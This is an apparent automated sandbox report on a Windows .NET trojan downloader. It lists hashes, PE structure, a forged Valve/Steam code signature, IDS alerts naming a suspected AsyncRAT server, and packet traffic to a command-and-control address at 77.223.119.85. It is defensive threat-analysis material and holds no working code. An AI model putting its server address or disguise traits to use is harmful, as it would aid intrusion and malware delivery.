Preview:	L......g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP....................&{..51..WW.>..........4.......C:\Users\user\AppData\Local\Temp\RES8956.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.d.l.j.n.c.s.i...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.4454330816358265
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
File size:	472'480 bytes
MD5:	9308044d486d7b3f5ffee3f41d3f7881
SHA1:	ee98fb3fb0b2f5e0a1e05fc409b920363626a8ca
SHA256:	a4846d7540225062d89a5bb08fdc3ed947e0ca684507a5f21bfe7d71bbcc2dd3
SHA512:	5386698177d70809b88f7147a7597b14f81a0bbada85437d1a71e3db7bb2f5b566b64839c63d8d53b95041ad0e65f96257c3a7ce1fb31bc3f31f89415a918644
SSDEEP:	6144:CLgtRLl3jFbiumDh4Su7XjnEyL8h+uACdWfdoxn67CQQdzS5gaMC2eY:CLSLl3pdm92QIloxnMcYrMBeY
TLSH:	84A4C070B74A5ED6E88D8E31D6BE77B8F62A78695E448313B38872029D5104DECCC7C9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\............"...0......n........... ........@.. ...............................S....`................................

File Icon


Icon Hash:	0f184a1325e78e07

Static PE Info

General

Entrypoint:	0x46c7fe
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x9CAA5CAD [Wed Apr 16 10:02:21 2053 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=CN, L=SH, O=SHA384, OU=RSA4096, CN=Steam
Signature Validation Error:	A certificate chain could not be built to a trusted root authority
Error Number:	-2146762486
Not Before, Not After	01/07/2024 16:05:00 10/04/2035 16:05:00
Subject Chain	CN=Valve
Version:	3
Thumbprint MD5:	CC6D00A97A7A3385A5284B19800589F2
Thumbprint SHA-1:	4FE0825C966DE1074434E85A4A2618A1F2F90AA7
Thumbprint SHA-256:	0ED2753CE85567C075007E9D652C0FE693611445F01717357B1C8B7C89B8F602
Serial:	00AB6902D0ABC4DD7B23775A00E09AD1C133B96731

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6c7a8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6e000	0x6a3c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x71a00	0x1ba0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x76000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6a804	0x6aa00	839754131f66c3234aff2d6db9e67955	False	0.3954929293669402	data	5.327374763664784	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6e000	0x6a3c	0x6c00	719ac4b1e8bb8c6d31a9cb241e64e228	False	0.5030381944444444	data	5.411733160080582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x76000	0xc	0x200	21e52a72e063ee78150091e61758d8b7	False	0.041015625	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6e2b0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.3176829268292683
RT_ICON	0x6e918	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.45564516129032256
RT_ICON	0x6ec00	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.6891891891891891
RT_ICON	0x6ed28	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.5852878464818764
RT_ICON	0x6fbd0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7527075812274369
RT_ICON	0x70478	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.5924855491329479
RT_ICON	0x709e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.43558091286307055
RT_ICON	0x72f88	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.5884146341463414
RT_ICON	0x74030	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.7393617021276596
RT_GROUP_ICON	0x74498	0x84	data	0.5984848484848485
RT_VERSION	0x7451c	0x334	data	0.4268292682926829
RT_MANIFEST	0x74850	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments	CpFull
CompanyName	CpFull
FileDescription	CpFull
FileVersion	7.8.1.6
InternalName	Stub.exe
LegalCopyright	Copyright CpFull 2025
LegalTrademarks	CpFull
OriginalFilename	Stub.exe
ProductName	CpFull
ProductVersion	7.8.1.6
Assembly Version	5.9.1.8

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-12T19:35:14.891255+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49713	77.223.119.85	80	TCP
2025-04-12T19:35:20.984647+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	77.223.119.85	1414	192.168.2.4	49714	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2025 19:35:10.672291040 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 12, 2025 19:35:14.436136007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:14.662534952 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.662616014 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:14.663721085 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:14.891134024 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891154051 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891164064 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891170025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891176939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891187906 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891192913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891199112 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891210079 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891222000 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:14.891254902 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:14.891298056 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.118050098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118069887 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118079901 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118086100 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118092060 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118098021 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118107080 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118112087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118118048 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118124962 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118135929 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118145943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118151903 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118160009 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118165970 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118171930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118177891 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118182898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118189096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118195057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.118444920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.118444920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.118444920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347357035 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347378016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347388029 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347399950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347409964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347428083 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347440004 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347450972 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347461939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347471952 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347481966 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347491980 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347501993 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347511053 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347524881 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347534895 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347546101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347556114 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347568989 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347567081 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347579002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347589970 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347600937 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347613096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347624063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347635031 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347645044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347647905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347647905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347647905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347647905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347647905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347647905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347649097 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347649097 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347655058 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347666979 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347676992 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347688913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347697973 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347697973 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347697973 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347702026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347713947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347721100 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347724915 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347735882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347747087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347759008 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347769022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.347783089 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347783089 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.347814083 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575139999 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575160980 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575171947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575184107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575195074 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575205088 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575215101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575227022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575237036 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575236082 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575248003 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575259924 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575270891 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575282097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575282097 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575293064 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575304031 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575304985 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575314045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575323105 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575325012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575335979 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575346947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575356960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575365067 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575370073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575380087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575385094 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575391054 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575392962 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575396061 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575402021 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575408936 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575412035 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575423002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575433969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575442076 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575445890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575459003 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575468063 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575469017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575479984 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575486898 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575490952 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575500965 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575512886 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575516939 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575524092 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575535059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575541973 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575545073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575557947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575561047 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575567961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575578928 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575581074 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575589895 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575599909 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575603008 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575611115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575620890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575623989 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575630903 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575640917 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575642109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575651884 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575663090 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575665951 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575674057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575685024 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575694084 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575697899 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575706959 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575707912 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575721025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575723886 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575731039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575742960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575757027 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575757980 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575784922 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575799942 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575828075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575839043 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575853109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575862885 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575874090 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575875044 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575884104 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575896025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575901985 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575906992 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575917006 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575917959 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575928926 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575938940 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575948000 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575949907 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575959921 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575968981 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575972080 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575982094 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.575989008 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.575993061 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.576025963 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.576049089 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802364111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802395105 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802407026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802418947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802431107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802445889 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802459002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802531004 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802570105 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802584887 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802596092 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802607059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802618027 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802630901 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802639961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802650928 CEST	80	49713	77.223.119.85	192.168.2.4
